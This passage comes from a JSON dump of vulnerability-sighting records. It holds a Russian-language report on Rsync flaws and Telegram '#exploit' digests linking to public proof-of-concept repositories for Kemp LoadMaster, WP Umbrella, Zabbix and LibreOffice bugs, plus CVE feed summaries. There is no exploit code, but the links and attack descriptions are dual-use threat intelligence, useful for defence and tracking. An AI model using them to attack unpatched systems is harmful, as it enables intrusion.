\u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u043c \u0444\u0430\u0439\u043b\u0430\u043c \u0438 \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438. \u0423\u044f\u0437\u0432\u0438\u043c\u044b \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043d\u0438\u0436\u0435 3.4.0.\n\nCERT/C \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u0431\u044e\u043b\u043b\u0435\u0442\u0435\u043d\u044c \u0441 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u0435\u043c \u043e\u0431 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u0445 Rsync, \u043e\u0442\u043c\u0435\u0442\u0438\u0432 Red Hat, Arch, Gentoo, Ubuntu NixOS, AlmaLinux OS Foundation \u0438 Triton Data Center \u043a\u0430\u043a \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0435.\n\n\u041e\u0434\u043d\u0430\u043a\u043e \u043c\u043d\u043e\u0433\u0438\u0435 \u0434\u0440\u0443\u0433\u0438\u0435 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u0440\u043e\u0435\u043a\u0442\u044b \u0438 \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a\u0438 \u043f\u043e\u043a\u0430 \u043d\u0435 \u043d\u0438\u043a\u0430\u043a \u043e\u0442\u0440\u0435\u0430\u0433\u0438\u0440\u043e\u0432\u0430\u043b\u0438.\n\n\u0412 \u0441\u0432\u043e\u0435\u043c \u0431\u044e\u043b\u043b\u0435\u0442\u0435\u043d\u0435 \u043f\u043e CVE-2024-12084 RedHat \u043e\u0442\u043c\u0435\u0442\u0438\u043b\u0430, \u0447\u0442\u043e \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043c\u0435\u0440 \u043f\u043e \u0441\u043c\u044f\u0433\u0447\u0435\u043d\u0438\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442, \u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043c\u043e\u0436\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0432 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 Rsync \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e.\n\n\u0412 \u043f\u0440\u043e\u0442\u0438\u0432\u043d\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u043f\u043e\u043d\u0430\u0434\u043e\u0431\u044f\u0442\u0441\u044f \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0434\u043b\u044f \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 \u0441 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0435\u0439.\n\n\u0421\u043e\u0433\u043b\u0430\u0441\u043d\u043e Shodan, \u0432 \u0441\u0435\u0442\u0438 \u0434\u0435\u0442\u0435\u043a\u0442\u0438\u0442\u0441\u044f \u0431\u043e\u043b\u0435\u0435 660 000 IP-\u0430\u0434\u0440\u0435\u0441\u043e\u0432 \u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c\u0438 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u043c\u0438 Rsync. \u0411\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u043e - \u0432 \u041a\u0438\u0442\u0430\u0435 (521 000), \u0434\u0430\u043b\u0435\u0435 \u0441\u043b\u0435\u0434\u0443\u044e\u0442 \u0421\u0428\u0410, \u0413\u043e\u043d\u043a\u043e\u043d\u0433, \u041a\u043e\u0440\u0435\u044f, \u0420\u043e\u0441\u0441\u0438\u044f \u0438 \u0413\u0435\u0440\u043c\u0430\u043d\u0438\u044f, \u043d\u043e \u0438\u0445 \u0447\u0438\u0441\u043b\u043e \u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043c\u0435\u043d\u044c\u0448\u0435.\n\n\u0418\u0437 \u044d\u0442\u0438\u0445 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0445 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 Rsync 306 517 \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0442 \u043d\u0430 TCP-\u043f\u043e\u0440\u0442\u0435 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e 873, \u0430 21 239 \u043f\u0440\u043e\u0441\u043b\u0443\u0448\u0438\u0432\u0430\u044e\u0442 \u043f\u043e\u0440\u0442 8873, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043e\u0431\u044b\u0447\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0434\u043b\u044f Rsync \u0447\u0435\u0440\u0435\u0437 \u0442\u0443\u043d\u043d\u0435\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 SSH.\n\n\u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e \u043d\u0435\u044f\u0441\u043d\u043e \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u044b \u043b\u0438 \u043e\u043d\u0438 \u043d\u0435\u0434\u0430\u0432\u043d\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c, \u0432\u0441\u0435\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f\u00a0\u00a0\u043a\u0430\u043a \u043c\u043e\u0436\u043d\u043e \u0441\u043a\u043e\u0440\u0435\u0435\u00a0\u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 3.4.0 \u0438\u043b\u0438 \u043d\u0430\u0441\u0442\u0440\u043e\u0438\u0442\u044c \u0434\u0435\u043c\u043e\u043d \u043d\u0430 \u0437\u0430\u043f\u0440\u043e\u0441 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0437\u0430\u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u0442\u044c TCP-\u043f\u043e\u0440\u0442 873 \u043f\u043e \u043f\u0435\u0440\u0438\u043c\u0435\u0442\u0440\u0443, \u0447\u0442\u043e\u0431\u044b \u0441\u0435\u0440\u0432\u0435\u0440\u044b \u043d\u0435 \u0431\u044b\u043b\u0438 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e.", "creation_timestamp": "2025-01-16T15:20:27.000000Z"}, {"uuid": "bd9bc22c-60a8-4e82-b5da-e320b4546aac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1212", "type": "published-proof-of-concept", "source": "Telegram/AJ84SgKeS-o4x6xosnjyJhAm9Gu9lJ5QcZP7asEyWuwTjdnz", "content": "", "creation_timestamp": "2024-05-02T12:45:44.000000Z"}, {"uuid": "66213cbf-61c6-4734-8a66-2dee0f675f4c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1212", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/10195", "content": "#exploit\n1. CVE-2023-48788:\nFortinet FortiClient EMS SQL Injection\nhttps://www.horizon3.ai/attack-research/attack-blogs/cve-2023-48788-fortinet-forticlientems-sql-injection-deep-dive\n\n2. CVE-2023-48725:\nNetgear RAX30 stack-based buffer overflow vulnerability\nhttps://blog.talosintelligence.com/vulnerability-roundup-march-20-2024\n\n3. CVE-2024-1212:\nUnauthenticated Command Injection In Progress Kemp LoadMaster\nhttps://github.com/Chocapikk/CVE-2024-1212", "creation_timestamp": "2024-03-23T07:24:50.000000Z"}, {"uuid": "42593b67-e806-4f4f-beab-8de60bcbec4d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12908", "type": "seen", "source": "https://t.me/CyberSecurityTechnologies/11647", "content": "#exploit\n1. CVE-2024-3393:\nPalo Alto Networks PAN-OS Malicious DNS Packet Vulnerability (DoS)\n\n2. CVE-2024-12908:\nDelinea Protocol Handler - RCE via Update Process\n\n3. CVE-2024-53677:\nUnrestricted Upload of File with Dangerous Type and RCE in Apache Struts\n\n4. CVE-2021-44967:\nLimeSurvey <=5.2 - RCE\n\n5. CVE-2024-47575:\nFortinet FortiManager Missing Authentication", "creation_timestamp": "2025-01-06T15:36:02.000000Z"}, {"uuid": "03ac4ebc-0cc1-4dc3-af5e-eef79ceaf0ff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12511", "type": "seen", "source": "https://t.me/CyberSecurityTechnologies/11832", "content": "#Threat_Research\nXerox Versalink MFPs\nPass-back attack via LDAP (CVE-2024-12510) and SMB/FTP (CVE-2024-12511)\nhttps://www.rapid7.com/blog/post/2025/02/14/xerox-versalink-c7025-multifunction-printer-pass-back-attack-vulnerabilities-fixed\n]-> Anatomy of a Pass-Back-Attack\n]-> Attacking Xerox\u2019s Multifunction Printers Patch Process\n]-> More", "creation_timestamp": "2025-02-20T02:50:29.000000Z"}, {"uuid": "f9106965-2364-4bca-8f2a-2d5d95a42fbd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12510", "type": "seen", "source": "https://t.me/CyberSecurityTechnologies/11832", "content": "#Threat_Research\nXerox Versalink MFPs\nPass-back attack via LDAP (CVE-2024-12510) and SMB/FTP (CVE-2024-12511)\nhttps://www.rapid7.com/blog/post/2025/02/14/xerox-versalink-c7025-multifunction-printer-pass-back-attack-vulnerabilities-fixed\n]-> Anatomy of a Pass-Back-Attack\n]-> Attacking Xerox\u2019s Multifunction Printers Patch Process\n]-> More", "creation_timestamp": "2025-02-20T02:50:29.000000Z"}, {"uuid": "3ec1cae5-0da1-47c0-8a45-d7b6f09abdd0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12209", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/11600", "content": "#exploit\n1. A Practical Guide to PrintNightmare in 2024 (updated\u00a0Oct 5)\nhttps://itm4n.github.io/printnightmare-exploitation\n]-> PnP bypass\n\n2. CVE-2024-12209:\nWP Umbrella Unauthenticated LFI\nhttps://github.com/Nxploited/CVE-2024-12209\n\n3. CVE-2024-30085:\nWindows 11 23H2 EoP\nhttps://ssd-disclosure.com/ssd-advisory-cldflt-heap-based-overflow-pe", "creation_timestamp": "2024-12-24T17:57:48.000000Z"}, {"uuid": "ddfc67ed-79da-4436-8a5e-e9c3c9d78293", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "https://t.me/CyberSecurityTechnologies/11757", "content": "#exploit \n1. CVE-2024-12847:\nExposing an Old Netgear Vulnerability Still Active in 2025\n\n2. RCE in Lightning AI-development platform\n\n3. CVE-2024-41710:\nMitel phones Argument Injection\n\n3. CVE-2024-46507:\nYETI platform SSTI", "creation_timestamp": "2025-03-18T12:15:38.000000Z"}, {"uuid": "e86afee6-d3cd-4303-a6ee-f9b8c067002c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12425", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/11819", "content": "#exploit\n1. CVE-2024-12425,\nCVE-2024-12426:\nLibreOffice Path Traversal\nhttps://codeanlabs.com/blog/general/exploiting-libreoffice-cve-2024-12425-and-cve-2024-12426\n\n2. CVE-2024-36412:\nUsing XSS filters against XSS filters - Unexpected SQLI/RCE\nhttps://secarius.fr/cves/cve_2024_36412_using_filters_against_filters_unexpected_sql_injection\n\n3. CVE-2024-42327:\nZabbix Privilege Escalation -> RCE\nhttps://github.com/godylockz/CVE-2024-42327", "creation_timestamp": "2025-02-17T01:32:28.000000Z"}, {"uuid": "8835c61f-6bcd-430e-915a-e10c4c9a91ee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12426", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/11819", "content": "#exploit\n1. CVE-2024-12425,\nCVE-2024-12426:\nLibreOffice Path Traversal\nhttps://codeanlabs.com/blog/general/exploiting-libreoffice-cve-2024-12425-and-cve-2024-12426\n\n2. CVE-2024-36412:\nUsing XSS filters against XSS filters - Unexpected SQLI/RCE\nhttps://secarius.fr/cves/cve_2024_36412_using_filters_against_filters_unexpected_sql_injection\n\n3. CVE-2024-42327:\nZabbix Privilege Escalation -> RCE\nhttps://github.com/godylockz/CVE-2024-42327", "creation_timestamp": "2025-02-17T01:32:28.000000Z"}, {"uuid": "d1b00728-9908-479c-b4e2-6f7e5840e2ce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12023", "type": "seen", "source": "https://t.me/cvedetector/24324", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12023 - \"Elementor CRM FULL Cliente SQL Injection Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-12023 \nPublished : May 2, 2025, 4:15 a.m. | 33\u00a0minutes ago \nDescription : The FULL \u2013 Cliente plugin for WordPress is vulnerable to SQL Injection via the 'formId' parameter in all versions 3.1.5 to 3.1.25 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.  This makes it possible for authenticated attackers, with Subscriber-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. This is only exploitable when the PRO version of the plugin is activated, along with Elementor Pro and  Elementor CRM. \nSeverity: 6.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"02 May 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-05-02T07:34:51.000000Z"}, {"uuid": "ce286893-69c3-477f-a99c-f37e9d76fd32", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12225", "type": "seen", "source": "https://t.me/cvedetector/24656", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12225 - Quarkus WebAuthn Default Endpoints Information Disclosure and Authentication Bypass\", \n  \"Content\": \"CVE ID : CVE-2024-12225 \nPublished : May 6, 2025, 8:15 p.m. | 2\u00a0hours ago \nDescription : A vulnerability was found in Quarkus in the quarkus-security-webauthn module. The Quarkus WebAuthn module publishes default REST endpoints for registering and logging users in while allowing developers to provide custom REST endpoints. When developers provide custom REST endpoints, the default endpoints remain accessible, potentially allowing attackers to obtain a login cookie that has no corresponding user in the Quarkus application or, depending on how the application is written, could correspond to an existing user that has no relation with the current attacker, allowing anyone to log in as an existing user by just knowing that user's user name. \nSeverity: 9.1 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 May 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-05-07T00:31:32.000000Z"}, {"uuid": "2eadcb06-748e-4b20-86e1-de4a4f5cab82", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12084", "type": "seen", "source": "https://t.me/onfpowernemesis/3222", "content": "\u041d\u0435\u043c\u0435Z\u0438\u0434\u0430 (Telegram)\n\n\u0412 Rsync, \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u043c \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0435 \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u0434\u043b\u044f Unix-\u0441\u0438\u0441\u0442\u0435\u043c, \u0431\u044b\u043b\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043e \u0448\u0435\u0441\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435.\n\nCERT Coordination Center (CERT/CC) \u0441\u043e\u043e\u0431\u0449\u0438\u043b, \u0447\u0442\u043e \u043f\u0440\u0438 \u043d\u0430\u043b\u0438\u0447\u0438\u0438 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f \u043d\u0430\u0434 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0447\u0438\u0442\u0430\u0442\u044c \u0438 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u043b\u044e\u0431\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u043d\u0430 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0451\u043d\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u0445. \u042d\u0442\u043e \u0441\u043e\u0437\u0434\u0430\u0451\u0442 \u0443\u0433\u0440\u043e\u0437\u0443 \u0443\u0442\u0435\u0447\u043a\u0438 \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438, \u0442\u0430\u043a\u043e\u0439 \u043a\u0430\u043a SSH-\u043a\u043b\u044e\u0447\u0438, \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043f\u0443\u0442\u0451\u043c \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u0444\u0430\u0439\u043b\u043e\u0432, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, ~/.bashrc \u0438\u043b\u0438 ~/.popt.\n\n\u0421\u043f\u0438\u0441\u043e\u043a \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432\u043a\u043b\u044e\u0447\u0430\u0435\u0442:\n\n- CVE-2024-12084 (CVSS 9.8): \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u0443\u0447\u0438 \u0438\u0437-\u0437\u0430 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0434\u043b\u0438\u043d\u044b \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u043e\u0439 \u0441\u0443\u043c\u043c\u044b;\n\n- CVE-2024-12085 (CVSS 7.5): \u0443\u0442\u0435\u0447\u043a\u0430 \u0434\u0430\u043d\u043d\u044b\u0445 \u0447\u0435\u0440\u0435\u0437 \u043d\u0435\u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0441\u0442\u0435\u043a\u0430;\n\n- CVE-2024-12086 (CVSS 6.1): \u0443\u0442\u0435\u0447\u043a\u0430 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u043a\u043b\u0438\u0435\u043d\u0442\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c Rsync;\n\n- CVE-2024-12087 (CVSS 6.5): \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0431\u0445\u043e\u0434\u0430 \u043f\u0443\u0442\u0438;\n\n- CVE-2024-12088 (CVSS 6.5): \u043e\u0431\u0445\u043e\u0434 \u043e\u043f\u0446\u0438\u0438...\n\n\u041f\u0435\u0440\u0435\u0439\u0442\u0438 \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b\u044c\u043d\u044b\u0439 \u043f\u043e\u0441\u0442", "creation_timestamp": "2025-01-16T08:41:42.000000Z"}, {"uuid": "808a02c4-fb45-4de4-8ded-be0c6185d4fc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12086", "type": "seen", "source": "https://t.me/onfpowernemesis/3222", "content": "\u041d\u0435\u043c\u0435Z\u0438\u0434\u0430 (Telegram)\n\n\u0412 Rsync, \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u043c \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0435 \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u0434\u043b\u044f Unix-\u0441\u0438\u0441\u0442\u0435\u043c, \u0431\u044b\u043b\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043e \u0448\u0435\u0441\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435.\n\nCERT Coordination Center (CERT/CC) \u0441\u043e\u043e\u0431\u0449\u0438\u043b, \u0447\u0442\u043e \u043f\u0440\u0438 \u043d\u0430\u043b\u0438\u0447\u0438\u0438 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f \u043d\u0430\u0434 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0447\u0438\u0442\u0430\u0442\u044c \u0438 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u043b\u044e\u0431\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u043d\u0430 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0451\u043d\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u0445. \u042d\u0442\u043e \u0441\u043e\u0437\u0434\u0430\u0451\u0442 \u0443\u0433\u0440\u043e\u0437\u0443 \u0443\u0442\u0435\u0447\u043a\u0438 \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438, \u0442\u0430\u043a\u043e\u0439 \u043a\u0430\u043a SSH-\u043a\u043b\u044e\u0447\u0438, \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043f\u0443\u0442\u0451\u043c \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u0444\u0430\u0439\u043b\u043e\u0432, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, ~/.bashrc \u0438\u043b\u0438 ~/.popt.\n\n\u0421\u043f\u0438\u0441\u043e\u043a \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432\u043a\u043b\u044e\u0447\u0430\u0435\u0442:\n\n- CVE-2024-12084 (CVSS 9.8): \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u0443\u0447\u0438 \u0438\u0437-\u0437\u0430 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0434\u043b\u0438\u043d\u044b \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u043e\u0439 \u0441\u0443\u043c\u043c\u044b;\n\n- CVE-2024-12085 (CVSS 7.5): \u0443\u0442\u0435\u0447\u043a\u0430 \u0434\u0430\u043d\u043d\u044b\u0445 \u0447\u0435\u0440\u0435\u0437 \u043d\u0435\u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0441\u0442\u0435\u043a\u0430;\n\n- CVE-2024-12086 (CVSS 6.1): \u0443\u0442\u0435\u0447\u043a\u0430 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u043a\u043b\u0438\u0435\u043d\u0442\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c Rsync;\n\n- CVE-2024-12087 (CVSS 6.5): \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0431\u0445\u043e\u0434\u0430 \u043f\u0443\u0442\u0438;\n\n- CVE-2024-12088 (CVSS 6.5): \u043e\u0431\u0445\u043e\u0434 \u043e\u043f\u0446\u0438\u0438...\n\n\u041f\u0435\u0440\u0435\u0439\u0442\u0438 \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b\u044c\u043d\u044b\u0439 \u043f\u043e\u0441\u0442", "creation_timestamp": "2025-01-16T08:41:42.000000Z"}, 